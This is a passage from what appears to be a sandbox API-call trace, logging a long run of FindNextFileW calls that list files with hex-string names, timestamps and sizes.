cFileName="74766AB690050F59B01486BFB5895DC7027B12F6", cAlternateFileName="74766A~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449912f8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449912f8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449912f8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="74B519AD7904E4A0C4371C7E92DD4CC58D21E347", cAlternateFileName="74B519~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23b0e52, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc23b0e52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc23b0e52, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="75B79AD560C26FAA78C6E062C0EF70C560CA89D9", cAlternateFileName="75B79A~1")) returned 1 [0251.360] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4362fd1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4362fd1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4371a45, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x62f6b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7683D7BA692E9B369DA98E12C0493E467E201053", cAlternateFileName="7683D7~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef35224, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef35224, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450a5db2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x24e4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="76EF1292F45B28008B0E37EDAF898359BDA69EF7", cAlternateFileName="76EF12~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43608c8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43608c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4371a45, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x28b5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="77BEB77D9CC969C39958CC4A5EBACAF025E09EA4", cAlternateFileName="77BEB7~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433a98da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433a98da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7807899BF5E94564AFE48A5B5DF11C0FDB47F065", cAlternateFileName="780789~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="784BF733DA8C7E276D81D56E27763E588BD3C528", cAlternateFileName="784BF7~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6e450e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3db5cbc4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb44, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7854D382F9129B1F63C548FFA98E16681B442ADB", cAlternateFileName="7854D3~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3879792, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3879792, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3894550, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x577, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="789617E6CBDC728F205B5B4C33CD556E4CA32006", cAlternateFileName="789617~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c12c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef6c12c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x45119d97, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x47dc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="78A520FE200DD59F7079043C2E4494D582DB5E27", cAlternateFileName="78A520~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="79122AC35356132F14E7AA3248B675B5BA972274", cAlternateFileName="79122A~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f5d79, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433f5d79, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433f5d79, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe38e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1", cAlternateFileName="791547~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x116c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7A230FA7CE251495192749C1289385F278D22EB4", cAlternateFileName="7A230F~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ee9549, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7ee9549, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3", cAlternateFileName="7A8D3A~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90c92ac, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90c92ac, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615", cAlternateFileName="7AF60B~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d6461, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x46d6461, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x46f8752, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x13fe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7B303216787123E2E98A2B9594CDF8211C77C0EA", cAlternateFileName="7B3032~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30cdda3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc30cdda3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xca8fdb39, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8a6e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7B4C45A10380E4D649C45CA3E4773E29C3AC7799", cAlternateFileName="7B4C45~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b245e3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2b245e3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2b245e3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7B702F73A8CFF65932F151A24DE06DABB5EAD075", cAlternateFileName="7B702F~1")) returned 1 [0251.361] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7BB41A949410BE7EF2685C65391E15BCAFDDF3AA", cAlternateFileName="7BB41A~1")) returned 1 [0251.364] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e1b91, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x45e1b91, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x46d50c5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6", cAlternateFileName="7CF29C~1")) returned 1 [0251.364] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a6c72e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42a6c72e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42a6c72e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7E9C60545DC531C765E8BEBC858D9C964D7BC7B6", cAlternateFileName="7E9C60~1")) returned 1 [0251.364] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7ED75B3614C7D3EEE86D39A5F382CBE557DA312E", cAlternateFileName="7ED75B~1")) returned 1 [0251.364] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40734e2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc40734e2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="81B8DA2D01662466BB100C917F0F5E05E189A2D9", cAlternateFileName="81B8DA~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8ac315, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8ac315, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8ac315, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8216A5649BBA4864CF37B7367FEC186350C72B87", cAlternateFileName="8216A5~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3c47318, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x483c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="829547D629FA0B34042E40EBE97FC63C4697EA33", cAlternateFileName="829547~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf2d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="830EF7DA0A505480D0919A7D9DC8F36D554F9CF7", cAlternateFileName="830EF7~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a19434, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2a19434, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2a19434, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa3e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A", cAlternateFileName="838A26~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440540f4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440540f4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4407a35c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x141e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="83D22A1C2D9AD3F12D54C38C877F76181ECE73B1", cAlternateFileName="83D22A~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3a6b98, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f3a6b98, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f3a6b98, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="843D3BC96D3C0941B261A76B4201DD6AEE2FC6AF", cAlternateFileName="843D3B~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44c5ae0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc44c5ae0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc44c5ae0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="84A8D3B867016ADCD99F88B46CBFAC7D26697682", cAlternateFileName="84A8D3~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc327177a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc327177a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc327177a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x34fd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8508C62554C6D8F07695E3BAE400B7D0F72355E7", cAlternateFileName="8508C6~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8527BE88ABE092F222F01F1FAA6BB09AA3C86E1C", cAlternateFileName="8527BE~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430aea29, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x430aea29, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x430aea29, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="856994BF71BEE39831BB203883640C63D2A3EB13", cAlternateFileName="856994~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e72805, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42e72805, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="87831840EB1AF4B7388E370BA94421C5897B8373", cAlternateFileName="878318~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6785531, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6785531, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x67ad9da, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="87BA6D21D6EF49198373FC83CFB347603D5EB25D", cAlternateFileName="87BA6D~1")) returned 1 [0251.365] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2259938, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2259938, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f73a2b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4c7f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8857F3033ADD4EB28817638302A934EFC707BBDC", cAlternateFileName="8857F3~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="89A941BEB3D674DAC6782F12BB674DD3A505FDC7", cAlternateFileName="89A941~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a8df0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x70a8df0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x70b8bda, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd34, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8A7DB491838C072FD03CFE63FDC27186914EF89D", cAlternateFileName="8A7DB4~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4964228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4964228, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc4964228, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36", cAlternateFileName="8C2378~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8C464319D7DA26EEEF0DC70D0E126016B1661BE9", cAlternateFileName="8C4643~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8C485AAB55CF31B760712B22FB3F3AB91A5E2021", cAlternateFileName="8C485A~1")) returned 1 [0251.366] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e4570d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2e4570d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2e4570d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb13, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8D42CCDFDB62B35CD60A1498C713514C29CD6D49", cAlternateFileName="8D42CC~1")) returned 1 [0251.367] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5706c5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f5706c5, 